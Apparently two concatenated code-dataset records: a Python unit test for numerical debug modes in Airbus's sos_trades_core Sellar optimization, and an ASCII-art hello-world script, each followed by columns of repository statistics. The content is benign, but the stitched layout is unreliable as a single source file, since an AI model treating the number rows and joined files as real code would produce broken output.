''' Copyright 2022 Airbus SAS Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' """ mode: python; py-indent-offset: 4; tab-width: 4; coding: utf-8 unit test for optimization scenario """ import unittest from sos_trades_core.execution_engine.execution_engine import ExecutionEngine from sos_trades_core.sos_processes.test.test_sellar_opt_w_func_manager_faulty.usecase import Study as study_sellar_opt_faulty class TestDebugModes(unittest.TestCase): """ Debug mode test class """ def setUp(self): self.study_name = 'optim' self.repo = 'sos_trades_core.sos_processes.test' self.proc_name = 'test_sellar_opt_w_func_manager_faulty' def test_00_debug_mode_null(self): ''' Launch test_sellar_opt_w_func_manager_faulty without a debug mode on ''' exec_eng = ExecutionEngine(self.study_name) factory = exec_eng.factory opt_builder = factory.get_builder_from_process(repo=self.repo, mod_id=self.proc_name) exec_eng.factory.set_builders_to_coupling_builder(opt_builder) exec_eng.configure() usecase = study_sellar_opt_faulty(execution_engine=exec_eng) usecase.study_name = self.study_name values_dict = {} for dict_item in usecase.setup_usecase(): values_dict.update(dict_item) exec_eng.load_study_from_input_dict(values_dict) exec_eng.configure() exec_eng.display_treeview_nodes() exec_eng.execute() def test_01_debug_mode_nan(self): ''' Launch sellar opt with a NaN injected in discipline Sellar3 Then test debug mode "nan" on discipline Sellar3 ''' exec_eng = ExecutionEngine(self.study_name) factory = exec_eng.factory opt_builder = factory.get_builder_from_process(repo=self.repo, mod_id=self.proc_name) exec_eng.factory.set_builders_to_coupling_builder(opt_builder) exec_eng.configure() usecase = study_sellar_opt_faulty(execution_engine=exec_eng) usecase.study_name = self.study_name values_dict = {} for dict_item in usecase.setup_usecase(): values_dict.update(dict_item) # activate debug mode == nan to raise error values_dict[f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'nan' values_dict[f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'nan' exec_eng.load_study_from_input_dict(values_dict) exec_eng.configure() exec_eng.display_treeview_nodes() try: exec_eng.execute() raise Exception('Execution worked, and it should not have') except ValueError as ve: assert 'NaN values found in Sellar_3' == ve.args[0] except: raise Exception('Execution failed, and not for the good reason') def test_02_debug_mode_input_change(self): ''' Launch sellar opt with a change of +0.5 on input "y_1" injected in discipline Sellar3 Then test debug mode "input_change" on discipline Sellar3 ''' exec_eng = ExecutionEngine(self.study_name) factory = exec_eng.factory opt_builder = factory.get_builder_from_process(repo=self.repo, mod_id=self.proc_name) exec_eng.factory.set_builders_to_coupling_builder(opt_builder) exec_eng.configure() usecase = study_sellar_opt_faulty(execution_engine=exec_eng) usecase.study_name = self.study_name values_dict = {} for dict_item in usecase.setup_usecase(): values_dict.update(dict_item) values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'input_change' values_dict[f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'input_change' exec_eng.load_study_from_input_dict(values_dict) exec_eng.configure() exec_eng.display_treeview_nodes() try: exec_eng.execute() raise Exception('Execution worked, and it should not have') except ValueError as ve: assert "Mismatch in .optim.SellarOptimScenario.SellarCoupling.y_1.value: 27.8 and 28.3 don't match" in ve.args[0] except: raise Exception('Execution failed, and not for the good reason') def test_03_debug_mode_linearize_data_change(self): ''' Launch sellar opt with an input change injected on "y_1" during the compute_jacobian in discipline Sellar3 Then test debug mode "linearize data change" on discipline Sellar3 ''' exec_eng = ExecutionEngine(self.study_name) factory = exec_eng.factory opt_builder = factory.get_builder_from_process(repo=self.repo, mod_id=self.proc_name) exec_eng.factory.set_builders_to_coupling_builder(opt_builder) exec_eng.configure() usecase = study_sellar_opt_faulty(execution_engine=exec_eng) usecase.study_name = self.study_name values_dict = {} for dict_item in usecase.setup_usecase(): values_dict.update(dict_item) values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'linearize_data_change' values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'linearize_data_change' exec_eng.load_study_from_input_dict(values_dict) exec_eng.configure() exec_eng.display_treeview_nodes() try: exec_eng.execute() raise Exception('Execution worked, and it should not have') except ValueError as ve: assert "Mismatch in .optim.SellarOptimScenario.SellarCoupling.y_1.value: 27.8 and 28.3 don't match" in ve.args[0] except: raise Exception('Execution failed, and not for the good reason') def test_04_debug_mode_min_max_grad(self): ''' Launch sellar opt with an abnormaly high gradient "y_2 vs y_1" during the compute_jacobian in discipline Sellar3 Then test debug mode "min_max_grad" on discipline Sellar3 ''' exec_eng = ExecutionEngine(self.study_name) factory = exec_eng.factory opt_builder = factory.get_builder_from_process(repo=self.repo, mod_id=self.proc_name) exec_eng.factory.set_builders_to_coupling_builder(opt_builder) exec_eng.configure() usecase = study_sellar_opt_faulty(execution_engine=exec_eng) usecase.study_name = self.study_name values_dict = {} for dict_item in usecase.setup_usecase(): values_dict.update(dict_item) values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'min_max_grad' values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'min_max_grad' exec_eng.load_study_from_input_dict(values_dict) exec_eng.configure() exec_eng.display_treeview_nodes() try: exec_eng.execute() raise Exception('Execution worked, and it should not have') except ValueError as ve: assert 'in discipline <Sellar_3> : dr<optim.SellarOptimScenario.SellarCoupling.y_2> / dr<optim.SellarOptimScenario.SellarCoupling.y_1>: maximum gradient value is <10000000000.0>' == ve.args[0] except: raise Exception('Execution failed, and not for the good reason') def test_05_debug_mode_min_max_coupling(self): ''' Launch sellar opt with an abnormaly high gradient "y_2 vs y_1" during the compute_jacobian in discipline Sellar3 Then test debug mode "min_max_coupling" on discipline Sellar3 ''' exec_eng = ExecutionEngine(self.study_name) factory = exec_eng.factory opt_builder = factory.get_builder_from_process(repo=self.repo, mod_id=self.proc_name) exec_eng.factory.set_builders_to_coupling_builder(opt_builder) exec_eng.configure() usecase = study_sellar_opt_faulty(execution_engine=exec_eng) usecase.study_name = self.study_name values_dict = {} for dict_item in usecase.setup_usecase(): values_dict.update(dict_item) values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'min_max_couplings' values_dict[ f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'min_max_couplings' exec_eng.load_study_from_input_dict(values_dict) exec_eng.configure() exec_eng.display_treeview_nodes() try: exec_eng.execute() pass except ValueError as ve: assert '<optim.SellarOptimScenario.SellarCoupling.y_2> has the minimum coupling value <[12.27257053+0.j]>' except: raise Exception('Execution failed, and not for the good reason') if '__main__' == __name__: cls = TestDebugModes() cls.setUp() cls.test_02_debug_mode_input_change()
41.422131
204
0.672306
1,305
10,107
4.895785
0.154023
0.059164
0.040069
0.028173
0.824073
0.784004
0.755048
0.740491
0.726718
0.726718
0
0.013016
0.247452
10,107
243
205
41.592593
0.826979
0.144158
0
0.793548
0
0.025806
0.235287
0.149826
0
0
0
0
0.032258
1
0.045161
false
0.006452
0.019355
0
0.070968
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f2501ecd7f04f6138ab8c1a2186c2eb9dda887b6
1,034
py
Python
ASCII/python-hello-world.py
saurabhcommand/Hello-world
647bad9da901a52d455f05ecc37c6823c22dc77e
[ "MIT" ]
1,428
2018-10-03T15:15:17.000Z
2019-03-31T18:38:36.000Z
ASCII/python-hello-world.py
saurabhcommand/Hello-world
647bad9da901a52d455f05ecc37c6823c22dc77e
[ "MIT" ]
1,162
2018-10-03T15:05:49.000Z
2018-10-18T14:17:52.000Z
ASCII/python-hello-world.py
saurabhcommand/Hello-world
647bad9da901a52d455f05ecc37c6823c22dc77e
[ "MIT" ]
3,909
2018-10-03T15:07:19.000Z
2019-03-31T18:39:08.000Z
banner=""" 888 888 888 888 888 888 888 888 888 888 888 888 888 888 o 888 888 888 888 888 888 888 888 888 d8b 888 888 888 888 8888888888 .d88b. 888 888 .d88b. 888 d888b 888 .d88b. 888d888 888 .d88888 888 888 888 d8P Y8b 888 888 d88""88b 888d88888b888 d88""88b 888P" 888 d88" 888 888 888 888 88888888 888 888 888 888 88888P Y88888 888 888 888 888 888 888 Y8P 888 888 Y8b. 888 888 Y88..88P 8888P Y8888 Y88..88P 888 888 Y88b 888 " 888 888 "Y8888 888 888 "Y88P" 888P Y888 "Y88P" 888 888 "Y88888 888 inclusive of taxes* """ print(banner) x = 1 if x == 1: # indented four spaces print("x is 1.")
54.421053
114
0.411025
120
1,034
3.541667
0.308333
0.649412
0.656471
0.649412
0.204706
0.204706
0.162353
0.162353
0.162353
0.098824
0
0.670213
0.545455
1,034
18
115
57.444444
0.234043
0.019342
0
0
0
0
0.936759
0
0
0
0
0
0
1
0
false
0
0
0
0
0.133333
0
0
0
null
1
1
1
0
0
0
0
0
0
0
1
1
0
0
0
0
1
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7